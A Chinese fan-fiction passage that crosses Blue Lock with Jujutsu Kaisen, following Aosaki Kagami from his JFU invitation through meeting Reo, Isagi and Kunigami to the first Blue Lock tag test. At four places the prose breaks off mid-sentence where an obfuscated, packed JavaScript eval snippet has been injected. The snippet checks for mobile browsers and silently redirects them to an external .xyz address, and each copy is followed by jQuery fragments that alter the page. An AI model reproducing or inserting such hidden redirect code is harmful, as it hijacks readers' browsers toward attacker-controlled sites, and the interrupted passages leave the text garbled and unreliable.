镜捡起那封信。信封经过刚才的暴力举动已变得破破烂烂,里面的纸啪嗒一声掉了出来。 “苍崎镜先生,您已被选为指定强化球员?什么乱七八糟的。”镜耐着性子读下去,“这次,您经过JFU严格的选拔,被选为指定强化选手。我们将邀请您参加将于11月20日举行的新育成项目集会。希望参加的话,请在随信附上的参加意愿书上签名后,在规定时间到JFU总部大楼集合。JFU·新项目负责人——唔!帝襟杏里?”* 那一刻,苍崎镜像是一个在沙滩边漫步已久的旅人,伴着滚滚潮声,清凉的水流漫过他的脚踝。 苍崎镜低下头去,忽然发现,潮水退去以后,脚边多出了一颗海蓝宝石。 他拾起宝石——不,准确来说是漂亮的原石,将它举在阳光下观察那漂亮的蓝色。 他忍不住惊叹,“——好特别的蓝。” 虽然只是如幻梦般的一刹,但苍崎镜却无比确信:在那个「蓝色」里,他看到了属于苍崎镜的、崭新的「意义」。 4. 「玲王」 11月20日,镜抵达JFU总部大楼的时候天色还很早,院子里的树被积雪遮盖着。 站在这座宏伟建筑前,镜再三阅读悬挂的黑色牌匾上写的字。 “嗯。没有来错。”今天的镜穿了一件卡其灰色的风衣,搭配黑色高领线衫,背包依旧是带习惯的那款,上面挂着一对他用橙子的材料手工制作的白银护身符。 他朝前走去,踏过门口低矮的阶梯,伸手推开JFU总部的大门。 在大楼门口他忽然停住脚步,给透过门玻璃看到的走向大门的楼里的人让路。 门在眼前打开,走出的是一位步履如风的三七分橙发男人。镜凭借自己对人类里职场中人的眼力看出,这是一位相当专业的球员或球队助理。 他会在这个时段出入这里,应该是为自己的老板而来吧。 一面之缘的未知助理走向JFU总部外的马路,在一个拐弯的时间结束后消失不见。 镜耸耸肩,无视这个小小插曲,推开门阔步走进JFU大厦的厅堂。 伸手的那一瞬间,镜甚至有种喘不过来气的错觉:就让我见识一下,这扇门后会有多少有意思的选手吧。他被心中抑制不住涌动的期待之情控制,压抑着笑意一脚踏入总部的厅堂。 但现实的景象却和他想的有些不一样。 且不论零星到可怜的几个人影。在已经到达的选手里,没有一个有能让他觉得惊喜的体格跟技术。看着那些选手松散的站姿坐姿以及活动关节的习惯,苍崎镜无法否认自己得出的结论。 他失望地收回目光,找了个最边缘的软椅躺下,手臂遮住眼睛。 “等等,那个那不成是?” 两个搭伙聊天的高中生注意到原地开始睡觉的苍崎镜。其中个子高而浓眉毛的男生脸色一变,拿出手机对睡着的白发少年一顿高速连拍。* “什么啊。” 另一个看着不良,驼着背的男生掏掏耳朵,顺着同伴的目光看过去。他的视线落在已经安然入睡的苍崎镜身上,砸了砸舌评价道: “是有点帅。但你有必要这样吗?” “谁说我是因为脸才拍他的。”高个子男生振振有词,“我是在收集情报,白痴。” 不良男生目不忍视,“喂,你才白痴吧,谁家选手会把水平写在脸上啊?” “呵。”高个子男生神秘一笑,“但凭这两张照片会有无数粉丝愿意拿资料跟我交换。” 他切出LINE,将照片发布在自己的社交网站上。不到一分钟,好友列表里就有看到消息的人留言: “不会吧~是かがみ本人吗?” “羡慕……好想认识かがみ的父母,不知道是怎样的超级帅哥和超级美人。” “请问遇见かがみ的地址是……?” 不良男生见到这个结果哈哈大笑,笑得肚子疼也停不下来。 “大神,你真是笑死我了。搞了半天,你是给那家伙的粉丝送福利去了啊!” 高个子男生脸色涨红,两根手指飞速打字道,“闭嘴。看我问他们问题。” 说完,不良男生就看到他以礼貌又不失可爱的语气回复: “是的~!这个脸怎么看都是本人吧,话说我好想上去搭话,拜托大家告诉我一点かがみ的独家知识。而且我不想显得太轻浮,所以想要「かがみ的惯用脚是哪只」这种和赛场有关的情报,拜托大家~” 目睹一切的不良男生脸色铁青,“大神,你这家伙好恶心,我快要要吐了。” 高个子男生不为所动。 “有用就行……总之我看看。”他一目十行地阅读评论,“仙台人,自出道起从未有过败绩的同时场均进球达到3.1,全国粉丝团人数超过一个地铁站最大承载,还有最近大放阙词后直接宣布「退出日本足球」?” 高个子男生忍不住点开录像。 「嗯,我会放弃足球。」屏幕里,苍崎镜卷着头发,夺过记者们的麦克风,在镜头前无起伏地说,「我选择足球,是因为6年前有一个人让我看到了有意思的足球。但在我看来,整个宫城县乃至整个日本高中的足球都非常无趣,根本没有能踢出那种球的选手存在。所以,我想不明白我为什么要继续在「足球」这件无意义的事上浪费时间。」 评论里多出了不和谐的声音:“这种不会读气氛、除了脸就是废物的人很棒吗~?实力明明很一般…进入全国大赛宣布退出,不会是害怕赢不了更强的球队人设破碎吧~?” 录像结束,伴随着新评论的挑拨,尴尬和耻辱的气氛在二人间涌动。 “说出这种话的家伙,为什么还敢会在我们这些被选中的人中间出现啊。”不良男生捏了捏拳头,露出狰狞的笑向苍崎镜走去,“我作为学长,得替他的球队好好教训他啊!” “喂,山村——” 高个子男生伸手阻拦,但在自身力气显然逊色同伴的前提下毫无作用。 不良男生朝地面吐了一口唾沫。 他走到白发少年睡着的软椅边,伸出一只手,正要去抓他的衣领,突然发现身边多出了一对陌生的人。两双眼睛静静地看着他的动作,相同款式的昂贵制服刺痛了他的眼睛,给本就糟糕的情况浇了一泼油。 不良男生摆出在他看来最有威慑力的表情问:“啊!两个少爷是要多管闲事吗?” 紫发扎马尾的男生挑起眉毛,漂亮的脸上流露出一丝古怪。 “少爷?” “少废话,你们是要阻止我教训他吗!” 不良男生把矛头指向另一人,却被他过高的个头吓了一跳。 “你、你是吗——” 望着被自己的体格震慑的男生,满脸写着「提不起劲」的男生留下句“好麻烦”,无视眼前的纷争,径自从口袋里拿出了手机。 “呃……”这种无视的态度才更让他下不来台。 “喂喂、山村……这种事你能不能少干一点啊!” 高个子男生满脸焦急地走过来,一把揪住不良男生的后衣领,按着他一起跟对面的两人道歉。 “对不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14988059|161561||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 起,这家伙脑子不好,打扰你们真是抱歉。” 有着尊贵气势的紫发男生没理会高个子男生的道歉,转身正要离开。苍崎镜的手指却动了一下,充作眼罩的胳膊从眼前滑落。 “唔。真的过来了?” 他瞥一眼冲到自己跟前的不良男生,慢慢坐起来。 “我还以为你只是说着玩玩。没想到,还是挺让我意外的嘛,你。”他对着不良男生不客气地评价道,随后视线一转,“但你们两个好像有点特别。” 从一开始,镜就没有睡着,只是在闭着眼睛小憩。但身体「人偶」的特性总会让人误会他陷入了睡眠。听着耳边的闹剧愈演愈烈,装作睡着的镜终于在两位新演员登场时睁开眼睛。他期待着能看到一些不一样的情况出现,这才能让他觉得来到这座日本足球协会总部大楼是不虚此行。 “啊?”不良男生逼问,“你这什么态度!你说那些话,就是应该——” 镜一副不感兴趣的样子,眸子里的天空亦是呼啸着让人战栗的冷雨。 “我说什么话,和你无关。”他说,“批评随意。不过,去还是留,永远是我的自由。” 镜拍了拍衣角。当他站起来,不良少年终于看到了苍崎镜和陌生白发少年一样在同龄人里堪称高大的个头。 “啧。”不良男生偃旗息鼓,拽过自己的同伴,“走了。” 这些人就是JFU邀请的选手?自己此前,期待不已的宝石「原石」? 见证过惨淡的现实后,镜心里的无趣升至顶点;即便有趣的人已经出现,也没办法让他回心转意。 他再不犹豫,拎起背包,踩过脚下既华丽又柔软的地毯,走向大门。 “等一下。”刚才闹剧中的紫发男生忽然开口,说话的语调里带着种不会被拒绝的自信,“你是仙台的苍崎镜吧?自我介绍一下,我是御影玲王。” 镜顿住脚步,转回头来和玲王握手。 “玲王。” 镜点头,默默记下这个让他感到特别的男生的名字,“你有事吗?” “你刚刚是打算走?”玲王看向镜转身前面朝的位置——JFU总部的大门。 虽然玲王说对了,但镜并不想那么简单地承认这件事;主要原因是他不想应付后续的揣摩和提问。 “想去透透风。”镜的视线绕过玲王,他说道:“只是等得有点烦了而已。” “这话我不认同。”玲王的话语证明他戳破了镜的谎言,他侧过头示意大厅中央的方向,“而且已经来得不少了,我们这些人。” 顺着玲王的动作,镜看向周围。原来在他装睡的这些功夫里,僻静的角落之外已经聚集起阵阵人山人海。 粗略估计有200多人,只是由于没有人说话,显现不出这200多人的气势而已。 “现在你还要走吗?待会就会有项目的代言人出面跟我们解释到底是怎么一回事,”玲王的语气中带着种无法掩饰的轻蔑,“现在走的话,就和他们说你的话一样了吧,「胆小鬼」苍崎。” 5. 理由已然完备 玲王话音落下,全场灯光接连熄灭,只剩一盏聚光灯指向大厅尽头的演说舞台。 圆形的轮廓包裹着一个瘦削男人,他戴着传统的黑框眼镜,左耳佩戴了耳麦。镜上前走了一步,也许那个男人就是玲王口中会给他们解释一切的家伙。 “各位球星原石,恭喜你们。”瘦削男人走到舞台中央,高高在上地宣布:“在座各位是我以独断和偏见选出的,300名18岁以下的前锋,”他有一双圆睁的可怕眼睛,“而我是绘心甚八。” 昏暗静谧的场馆这才回响起有关男人身份的窃窃私语,大都关于「绘心甚八这个男人是何方神圣」的问题。 趁着这个机会,镜走到玲王旁边,低语道:“你刚才的话,我可以理解为挑衅吗?” 玲王的视线定格在舞台上的瘦削男人脸上,敷衍地答道:“谁知道呢。” 镜在心里「哇哦」了一声。真是稀奇的反应,总感觉自己是被玲王归类到讨厌的人里了;但自己不仅没有被冒犯的苦恼,甚至因为极少拥有这种感觉而体会到新鲜。* “足协雇我来,是要我帮助日本队夺得世界杯冠军。”绘心甚八野心勃勃的发言再度激起轩然大波,“我简单解释下吧,日本足球想成为世界第一只差一步。”绘心甚八摊开了双手,“就是培养出革命性前锋。” 镜握住背包肩带的手指一点一点。看在这个怪人是足协选出的发言人的份上,镜勉强选择跟随他的思路,去理解绘心甚八口中那些奇怪的名词跟没听过的概念。 显然,绘心甚八的演说经过了充分的准备,紧锣密鼓地陈述起他的安排: “我要进行一场实验,从这300人里培养出世界第一前锋。”他身后的大屏幕投影出一座蓝色的五边形建筑,“这就是为实验准备的设施——「蓝色监狱」。”绘心甚八毫无激情地解释,其它全靠观众自行阅读屏幕说明。 “从今天起, 你们要在这里过集体生活、参加我设计的特殊顶级训练; 你们无法回去家里,还要告别过去的足球生活; 不过,我可以断言,赢下这场生存游戏,淘汰299人。 留到最后的那个人,能成为世界第一前锋。” 绘心甚八看着台下表情各异的前锋少年们,神情不改地宣布:“我说完了,请多指教。” 镜观察着他;在失去「六眼」后,他逐渐习惯了普通人的视界,不再去追逐空间中细微的咒力流动。 但也是在这个过程里,苍崎镜逐渐认识到,哪怕在普通人的世界,也有着没有「眼睛」就无法看清楚的东西。比如,厨师灌注在食物里的感情、吵架的朋友之间存在的气氛,再比如:眼前的怪人,绘心甚八。 说这样注定被抗议的话是有什么特别的深意吗?镜看向周围。如他所料,多数人都在怀疑绘心甚八的话,他们的表情就是这样告诉他的。 如果被群起而攻之的话,所谓的「蓝色监狱」计划绝对会惨淡收场。 玲王抱着手臂,在绘心甚八的宣言结束后忽然开口: “你觉得这个计划怎么样?苍崎。” 镜奇怪地瞥了眼和自己搭话的玲王,他回过头,望着大屏幕上BLUELOCK的大字。 “很有意思。”镜说,“但,不知道有没有「意义」。” “是吗,和我差不多吧。”玲王的态度微妙地变化了一些,似乎终于不再认为身边的少年是一个「除了脸就是废物」的花瓶。 其实,只要能让我遇见特别的选手;镜在心中想,在哪里、做什么其实都无所谓。况且自己现在是真正的「独身」,没有该一起生活的家人、更没有要为其负责的伙伴。 所以 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14988060|161561||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,苍崎镜意识到,自己没有像他人那样犹豫的理由。 这样的认识让他放松了,苍崎镜的指尖松开了肩带——然后举起手。霎时间,包括台上的绘心甚八在内,无数眼睛向他看来。 “绘心甚八——教练?”镜提问,“请问,去「蓝色监狱」的路该怎么走?” 起初,绘心甚八没有任何表情;理解了镜话语里的意思后,他一点点咧开了嘴角。 “不错嘛,不错嘛。”他点评,“不需要我卖力说明就懂得向前爬的人,我欣赏你。” 镜放下手,现在的场面已经不需要他举着手才能得到绘心甚八的回应了。他仰头看着台上的瘦削男人,追问道:“那么,路呢?” “路就在这里。”绘心甚八侧过身,他身后的屏幕竟徐徐展开,露出一条通往外界的狭窄通道,哪里有阳光射进来。 “不管是通往「蓝色监狱」的路还是成为「世界第一前锋」的路,全都在我身后。”绘心甚八用恐怖的眼神示意苍崎镜上前去,“跟我来,如果你想走这条路的话。” 镜跳上舞台,在绘心甚八身边平行的位置站定几秒。通道外的风吹进来,这阵风里有让人期待不已的未知「未来」。他再度感觉到命运女神在亲吻他的额头。 这几秒的站定后,等待着他的是绘心甚八赶苍蝇一般的动作。 “怎么?后悔了就滚吧,快一点。”绘心甚八没耐心地说,“我的说明还没结束。” 苍崎镜突然扭头紧盯绘心甚八,苍蓝瞳孔已然收缩,他带着微笑,露出了看待猎物的奇怪表情。 “不。没后悔。”苍崎镜说,“我这是在为你铺好的「奇迹」之路惊叹不已啊,甚八教练。” 说完,不顾绘心甚八在那一刻猛然扩大的可怕笑容和身后变得激动的人群,苍崎镜独自走进通道外象征未来的曙光中。 6. 世界第一前锋 「蓝色监狱」建在远离城区的山里。作为一个两辈子加起来都没住过市区的人,镜不仅没有紧张或孤独,甚至有余裕窝在巴士的座位里拿出零食打发时间。 镜看着车窗,自己的影子和巴士停靠路边的风景重叠在一起,他将脑袋抵在车窗上放松地靠着车厢,“好慢。” 第一个上车就是这点不好。必须要等到所有人都上来,才能开车离开。 车门在这时打开。出现在门口的是一个挎着白底黑纹背包的黑蓝短发男生。 镜坐直了一些,意识到这就是除自己以外踏上蓝色监狱之路的「第二位」。 “喂——”镜的表情不再是那种平静或抽离的冷脸,而是真诚友好的微笑。他抬手招呼道:“那边那位同学,来这里吧。” 根据过往数据,当苍崎镜选择正确用脸的时候,十次有八次都会取得效果。在登上巴士的洁世一眼里,刚才我行我素、特立独行选择加入「蓝色监狱」的帅气男生,蓝色眼睛里流动着光泽,正向自己露出阳光一般的微笑,穿透即将前往陌生之地的不安。于是在他反应过来前,自己已晕晕乎乎地走到那男生旁边坐下了。 “你好。” 打完招呼,洁将白色背包放在脚边的空地上。他坐上靠椅的边缘,背挺得笔直。镜把零食递给他,换来洁扭头时的一瞥。 “上午好。”镜问,“要吃薯片吗?” “在巴士上吃薯片会掉在地上的吧……” 虽然这么吐槽,但洁还是没有拒绝镜释放出的友好信号。 “我是镜。苍崎镜。”看着洁向薯片袋里伸出手指,镜指向自己,“怎么称呼你?” 自己早就听过他的名字。洁回答道,同时微微点头:“洁世一。请多指教。” “「洁」啊。我记住了。”镜看着洁,毫不掩饰自己的兴趣,像是要把他的一切特征刻在自己的脑子里,“洁是哪里人?” “埼玉县。”洁回答说,“来这里之前在我们高中的足球社踢球,不过……今年最后一场比赛输了,没有进入全国大赛。” 提到这个话题时,镜注意到洁的手指紧紧握在一起,拳头因用力而发抖。他的眼睛里多出了某种混浊的东西,目光死死盯着前方,好像完全忽视了镜的存在。 “我是宫城人。”镜换了个姿势,后背靠住车厢,面朝车中间的过道,这样更方便和洁搭话,“话说,你不甘心吗?输了比赛。” 洁世一回过神来,镜发现他身上的气质再次发生了一些改变。 洁愣了一下,“当然会不甘心了。” 镜嘴角上扬,他的视线穿透洁的眼睛。 他问道:“也就是说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14988061|161561||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,洁想赢吗?” 看着那认真的眼神,洁想到镜刚才特立独行、我行我素的作风。他忽然想将一部分深埋心底、却自始至终从未动摇的念头吐露给这个人听。 “我想「赢」。”洁世一低声说,目光直视着苍崎镜,“我想成为世界第一的前锋。” “唔。”对苍崎镜来说,他还是第一次从别人口中听到如此高远、甚至有些遥不可及的梦想,“话说洁,「世界第一前锋」是不是就是「最强」?”镜的眼底闪过一丝兴味。 “啊、大概是吧?”洁没想过镜会问这个问题,“毕竟还是要看赛场表现的嘛……” “唔。” 镜动作一转,拿出手机,用期待的眼光扫射洁,“那交换联系方式,可不可以?”他想趁着参加集训之前把洁世一的联系方式弄到手,毕竟在封闭环境下会被没收电子设备算是常识。 洁指着自己,“——我?”被全国高中都很有名的超人气明星选手索要联系方式了! “我喜欢洁刚才说梦想时的「表情」,所以想看看你是不是真能做到。”镜托着脸颊慢悠悠地说,不忘举着手机。直白地说话、直白地表达感情、以及仅凭兴趣做事,是苍崎镜足以被称之为特长的「个性」。他开心地微笑,用暗示的口吻对洁世一说:“未来的、「世界第一前锋」大人?” 7. 赌上未来的地狱 被巴士送到蓝色监狱的选手要在建筑外接受安检,顺便领到自己的「囚服」。 洁看到衣服上的编号,“我是299-Z。” “257-Z。”镜展开那件按自己尺码定做的的深蓝紧身衣,视线落到衣物侧面的标签,“既然都在Z房间。”镜将衣服折两折叠好挂在胳膊上,“那一起吧?” 与此同时,陆续进入蓝色监狱的选手们并不知道,自己的一举一动都被某个男人尽收眼底,无处不在的摄像头正对他们进行堪比真实监狱的24小时全方位无死角监视。 绘心甚八的镜片上倒映出显示屏上的画面,看着「囚犯」们进入监狱,这个男人的脸上露出计划得逞的惊悚笑容。 “绘心先生,按照计划,是时候进入下一阶段了吧。”帝襟杏里说。她的提醒让转椅上的绘心甚八转过头来,注意到她的存在。 “勉强给他们一点换衣服的时间好了。”绘心甚八安排道。桌子上的泡面冒出阵阵热气,绘心甚八捧起泡面桶,脸上依旧是那副让人看不透在想什么的表情。 蓝色监狱的主体由五大部分组成,建筑功能包括比赛、训练、饮食、住宿等,是以封闭集训为基础的计划得以实现的前提;而建造监狱的「理由」——「蓝色监狱」计划,将在所有选手进入监狱时正式开始。 帝襟杏里的注意力无意之中漂移向某个显示器上。那个将六年前的雪夜染上奇迹白色的少年停住脚步,回身仰头。 此刻自己的心情是欣喜还是期待呢?帝襟杏里面色凝重地看向电脑屏幕上苍崎镜的眼睛。眼眸中的通透将她拽进了回忆。 在幼小的年纪展现出那等天赋的男孩,最终还是选择了足球吗?但蓝色监狱并不是当年下雪的公园,而是来到这里的选手赌上彼此未来的地狱。 「镜?」监视器视角,只能看到头顶的深蓝短发男生奇怪地提醒。 「不,只是觉得有人在看着我们。」屏幕中,白发少年解释道。 「真的吗?」 「不知道。错觉吧。」两个少年有一搭没一搭地聊天,一前一后走进ROOM-Z中。 忽视那模糊的感觉,苍崎镜走进房间观察了一圈,找到自己的储物柜,平静地走过去。无视房间里其它人若有若无的关注,脱掉上衣,将那件标准的蓝色监狱制式紧身衣套在身上。 他不动声色地右瞥一眼。洁已经和其它人打上招呼了,有一个长相帅气、同样有着一头白色短发的男生在和他聊天。从说话的表情和内容来看,似乎是洁在之前碰过面的朋友。 衣服换到一半,又有人向自己搭话: “喂,那个白头发小哥。”一个已经换好衣服的橙发男子发出了相当男子汉的动静,“你就是宫城的那个苍崎吧。” “唔,我是。”看着紧身衣下面明显有过锻炼的肌肉,镜整理裤腿的动作一顿,待他理平踝部的褶皱,站起身来,问道:“有事吗?不知道名字的橘色刺猬头先生。” “不,没有。还有橘色刺猬头……” 橙发男子的表情微变,他平复了一下心情,指着自己说: “国神炼介。这下,你可以称呼我的名字了吧,苍崎。” 镜目不转睛地盯着国神,目光像手术刀一样解剖着他的身体,从骨骼到肌肉。 “从身体来看,国神很强。”他说道,同时在聚集了十二个人的ROOM-Z里直言不讳地说:“所以,刚才向我搭话,算是「强者」间的惺惺相惜吗?” 苍崎镜的声音在空旷的房间内回响,在场的毕竟都是各个球队「王牌」的前锋,所以在提到这种涉及尊严因而略带压迫感的话题时,多少将注意力转移了过来。 “只不过是欣赏你的风格。”这家伙跟自己想象中的性格差得有点大,比预计的难搞不少,但还没有到无法兼容的地步。国神想着,默不作声地将这个议题打开,他走向前去,向镜伸出手。 “很期待和你在赛场上一较高下。请多指教。” 国神向前倾身,眼睛直勾勾地盯着镜的脸,毫无退却之意。 苍崎镜歪了歪头,将手指搭上去。 “如果是在耍帅的话,我给100分。”他暗示国神看向墙壁,“但我的直觉告诉我,我们要面对的比赛没有那么简单。” 苍崎镜松开握在一起的手。国神炼介顺着他的暗示向房间一侧的墙壁看去,墙面上挂着一面屏幕。 “屏幕?”国神问。 “绘心甚八。那个监工做派的家伙,我们的「监狱长」大人。”镜说着,兴致盎然地挑起嘴角,“我们彼此,正常地进行比赛、再按照比分淘汰,怎么想都不像是他的风格吧?” “哦。”从镜的表情里国神解读出了一丝异样,他问:“苍崎,你好像很期待。” “那我问问你,国神是为了什么加入这里的?”说完,镜举起右手,先发制人地替人抢答:“回答,我是为了见识「强大、奇迹、超越想象的足球」才留下的。”他一副任君评说的样子摊开手,“所以对我来说,不要顾忌太多「应该」,从选手到规则,”镜一点点攥紧手指,“都要打破常识才算有趣。” “有趣吗,”这狂妄的话语让国神有些许不爽,“目前为止,这只是你的猜测吧。” 就在下一秒,镜提醒国神去注意的屏幕上浮现出绘心甚八的脸。标志性的锅盖头和黑框眼镜都得到了放大,在纯白的背景下更加显得突出。 整个ROOM-Z为之一静。苍崎镜左顾右盼,再次看向绘心甚八的脸时眼里多了一丝惊叹。 居然能让这这些人服服帖帖,看起来在自己不知道的地方发生了了不得的事。 “哟。都换好衣服没,各位球星原石。”绘心甚八开口,气氛骤然变了,“注意了,现在同一个房间的人即是室友,也是竞争对手。” 看着屏幕中那双深不见底的眼睛,镜搓了搓手臂,跟国神吐槽道:“再突然放出监狱长大人的脸,今晚我绝对会做噩梦的。” 这种在别人视线以外的地方评价别人的事,对国神炼介来说做起来还是有点困难。 他缓解无措似的按了按肩膀,“还是先听听他要讲什么吧。” 监控室内,将这些少年的反应尽收眼底的绘心甚八把嘴对准麦克风,帝襟杏里在他身后准备好一摞摞的资料:“总而言之就是,我以独断和偏见将你们的能力数值化,队服上面的数字就是名次,一眼就能看出自己在300人中排名第几。” 蓝色监狱遵循以实力和监狱长绘心甚八独断为基准制定的严格的「等级制」;如同在全世界各地的监狱里,「监狱长」就是规则。 “你的排名是多少?”国神扭头来问。对互为伙伴却又因竞争关系而彼此暗暗较劲的选手们来说,最关心的果然还是这类问题。 “「257」。” 镜不意外自己是这个名次。 “我觉得是被防守拖累了,毕竟在我的印象里,”镜点了点自己的脑袋,姿态看不出是遗憾还是得意,“我在的球队,根本没有需要我参与防守的时候。” 场均3.1进球的射门王就是有这样的底气。 “我是「291」。”这个数字可不怎么占优啊。国神炼介的表情有些许沉重。 “真的?”镜不可思议地绕到国神左边去看他袖子上的数字,“真的是「291」——骗人,明明国神的肌肉让我觉得很了不起。” “咳。感谢。”国神咳了声,转回头去。没人知道那一秒他在想什么。 在另一边,洁世一看向自己的队服 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14988062|161561||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 编号是「299」,该死,名次太低了。 他心脏一跳,在这一瞬间,猝不及防地意识到这个危险的事实。 “排名会根据训练和比赛的结果升降,而前五名可以无条件参加6个月后的大赛,即入选青年队,参加U-20世界杯。” 这就是于这期计划的终点处被布置好的用于激励囚犯们乖乖劳动的「奖励」。同时也是将「蓝色监狱」的成果——所谓的「世界第一前锋」利用起来的最佳舞台。 在绘心甚八的言语里,一张属于「蓝色监狱计划」的蓝图在苍崎镜的心里逐渐变得清晰起来: First:在国内进行封闭式筛选+训练 Second:将选出的五位具有代表性实力的选手送入U-20国家队 Third:通过凝聚了多方心血和力量的崭新球员,斩获下一届的世界杯冠军 紧随其后,绘心甚八宣告:“顺便说下,在蓝色监狱输掉的人,今后——这辈子都没法入选国家队。” 也许是错觉罢了。但在那瞬间,苍崎镜仿佛听到了呼吸停止的声音,ROOM-Z确实在他的感官里有一瞬间如坠深渊般的一片静谧。 “国神,国神,”镜用手肘戳戳进入紧张状态的国神,或许他意识不到,下一秒的他将在国神眼里蒙上清澈的愚蠢,“有问题。” “啊、什么?”国神在镜的干扰下回神。 “不能入选国家队是很严重的惩罚吗?” “这、这个,”没想到镜会问出这种问题的国神无语凝噎,“差不多吧。国内有志向的选手都在以加入国家队作为自己的目标吧。” “有「志向」的选手……” 苍崎镜若有所思。 “也就是说,有决心踢出好球的球员大概率都会聚集在国家队了?” “这是肯定的吧。日本的国家队,代表的可是国内同年龄段的最佳水平啊。”国神理所当然地说。 想象着那些更加特别的选手,镜的眼底流转起明亮的波光。 “唔。那,我也要入选国家队。” 镜想起促使自己选择足球的契机,做出了在常人看来无比草率的决定。但只有他自己知道这是认真的。 来吧。只要能让我再一次亲眼看到「传奇」的出现,不管是什么炼狱我都会踏过去给你看。 在苍崎镜心里,一想到在这段道路的尽头处等待着自己的是怎样绚丽的光景,就连眼前怪物般的绘心甚八都变得像指引迷途者的天使一般可爱起来。 不过,像天使一样可爱,终究只是镜一人的想象。 “想在这里赢下去,需要的是「自私」。”屏幕上,绘心甚八冷酷无情地吐露进一步的规则,“所以,接下来将进行衡量自私程度的测试。” 天花板张开,一颗足球落下来。 “好了,「鬼抓人」的时间到了。时限是136秒,碰到球的人就是「鬼」。在倒计时结束的瞬间当「鬼」的人就卷铺盖滚蛋吧。” 绘心甚八的身影瞬间消失。 “另外,禁止手球哦。” 在绘心甚八消失后,屏幕上的内容被替换了。新出现的是下方的倒计时、几行简洁的说明文字、以及最中央被流失的倒计时和文字环绕着的一副选手画像。 蓝色监狱排名:300,五十岚栗梦,倒计时:2分16秒。 “看吧,国神。” 有的人在慌乱,有的人在寻求进一步的解释,还有的人已经悄然将自己移动到便于躲避的位置,做好了准备。 看着这超乎寻常的测试在眼前展开,镜环顾四周,一一扫过将自己当做危险人物默默远离的人,揉了揉脑袋淡然地说: “「镜」的直觉可是很准的。” 8. 禁区 「直觉」,是与「身体素质」一起存在的,苍崎镜取胜的武器。 从绘心甚八开口的那一刻起,镜便察觉到了他潜藏的用意。 他转头看向周围。十二个人密集地聚拢在一片狭小的空间,带球的人踢出的球会自动地往其它人身体上碰撞;这样的场景不是很像「禁区」内上演的球门攻防战吗? 数米外,足球破空而来,几乎擦着苍崎镜后脑而过。 洁世一观察到,在足球接近身体的一瞬间苍崎镜仿佛激活了身后的视野,背对足球完成了一个灵活的转身,避开了危机。 开玩笑的吗,这个反应速度是? 洁世一反应过来为什么其它人都远离苍崎镜所在的边角。因为如果再近一点,镜凭刚才那种反应力支配下的速度射门,躲开的概率基本为零。 镜的脸上挂着和那时不同的笑,明明只产生了细微的差别,却让人毛骨悚然。 他将拇指和食指捏在一起,比出「一点点」的手势。 “呜啊!差一点!”开球的五十岚栗梦吼叫着冲过去捡球。 “虽然想说好险,但这球的准度和力度确实有一点不够。”他说,“但时机很棒哦。” “用不着你来说很棒吧,我们现在是竞争对手啊!”在镜说话时,五十岚栗梦忽然踢出第二球。 “有点高。”镜弯腰低头,足球越过他的头顶在墙上反弹回去。他不急不恼地站起来,竖起一根手指:“再来一次吗?” “嘁……”时间一点一滴流逝,袭击被接连躲开,五十岚栗梦转头寻找起其它目标。 “唔。这就不来了吗?好吧,毕竟时间不多来着。”镜收起手,坐在地上,展示出了让人咋舌的心大。 如果不是情况不对,洁真的很想问问镜在做什么。但是场地内的局势正在以毫秒级的速度飞速改变,五十岚栗梦偷袭睡着的妹妹头男生,再趁国神走上前和对方交谈时把球踢在了前者的脸上。 「鬼」变更:291,国神炼介。 镜哇了一声,拍拍手,冲洁喊道:“小心啊洁,还没结束哦——” 在镜出言提醒的下一刻,五十岚栗梦从背后抱住洁世一,嬉皮笑脸道:“破绽有了,南无三——” 足球,从国神炼介脚下发出,炮弹般砸到了洁世一的腹腔。 局势已然发生改变,苍崎镜站起来,活动起无论何时都灵活有力的肩膀。 远在天边的漆黑的监控室内,帝襟杏里记录着屏幕里展现出来的各个球员的数据。 粉色长发的女性下笔如飞,“话说回来,绘心先生,257号为什么会被分配到底部的ROOM-Z呢?” 